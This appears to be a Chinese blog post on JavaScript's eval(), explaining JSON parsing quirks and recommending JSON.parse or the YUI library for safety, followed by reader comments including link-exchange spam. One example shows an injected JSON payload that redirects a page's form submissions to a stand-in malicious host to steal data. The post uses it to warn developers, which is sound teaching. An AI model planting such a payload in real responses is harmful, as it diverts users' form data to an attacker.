首先先来简单介绍一下eval()的用法,它还是比较容易理解的,相信很多朋友都已经熟悉。eval函数接收一个参数s,如果s不是字符串,则直接返回s。否则执行s语句。如果s语句执行结果是一个值,则返回此值,否则返回undefined。
另外,因此自己在项目实践过程中,因为解析JSON格式数据的时候,发现对于对象声明语法“{}”的并不能返回一个值,需要用括号括起来才会返回值。
例如:
-
var oo='"abc" + 123';
-
var xx='{a:123}';
-
alert(eval(oo)); //abc123
-
alert(eval(xx)); //undefined
-
alert(eval('(' + xx + ')')); //object对象
因此,在获取Json字符串的时候如果要将其解析为对象,必须用括号括住,才能将其转换为表达式,并返回其值。
不过,eval同时也存在很大的问题,首先,它可以用来解析任javascrtipt代码,不仅仅是json数据,因此就存在一个很大的安全隐患。有些人可以注入一些与预期的json数据结构相符的JavaScript代码,而该代码传入eval()之后就可以被执行。如下面的一个例子:
-
[1, 2, (function(){document.forms[0].action = "http://to.a.bad.com/stealdata.php"})(), 3, 4]
这个例子中,由于响应的文本包含一个匿名函数,这个函数会修改页面中的第一个表单的action特性,导致表单在提交时,所有数据都会被提及给一个不同的服务器。因此,如果不对json数据进行过滤就直接将其传递给eval()的情况下,很有可能受到XSS攻击。因为服务器返回的任何javascript代码在传递给eval()之后,都会在页面的上下文中求值,它就可以像类成员一样运行,对页面中的数据进行操纵。
因此,我们应该避免将服务器返回的javascript函数传入eval()函数中,比如,我们要对json字符串进行解析,可以使用javascript json 库来进行解析,这样我们能保证在将JSON转换为javascript对象的同时过滤掉其中包含的恶意代码。
首先,我们可以先监测浏览器是否支持json库函数
-
if (typeof(JSON) === 'object') {
-
//如果成功,表示该对象存在
-
}
-
if (typeof(JSON.parse) === 'function') {
-
// //如果成功,表示该处理函数有效
-
}
我们最好可以双重监测以确保万无一失。
-
if (typeof(JSON) === 'object' &&
-
typeof(JSON.parse) === 'function') {
-
//…………
-
}
监测过之后,我们就能放心的使用该函数处理json字符串了。在此顺便提一下YUI库的处理方式,实现起来同样比较简单。
-
//引入库的核心文件
-
<script src="http://yui.yahooapis.com/2.8.1/build/yahoo/yahoo-min.js"><!–mce:0–></script>
-
-
<script src="http://yui.yahooapis.com/2.8.1/build/json/json-min.js"><!–mce:1–></script>
-
-
var jsonString = '{"aa":1234,"bb":567}';
-
-
var oo = YAHOO.lang.JSON.parse(jsonString);
-
-
// 处理过后,接着我们就可以直接对对象的数据进行操控了
-
if (oo.bb < 25) {
-
…………
-
}
-
}
博主的文章很不错,我是站长工具-站长精灵的作者,一款专业的SEO工具软件(可以帮您提高博客的流量),想跟您交换个链接,不知可否
{Reply}
博主,兔年快乐!
{Reply}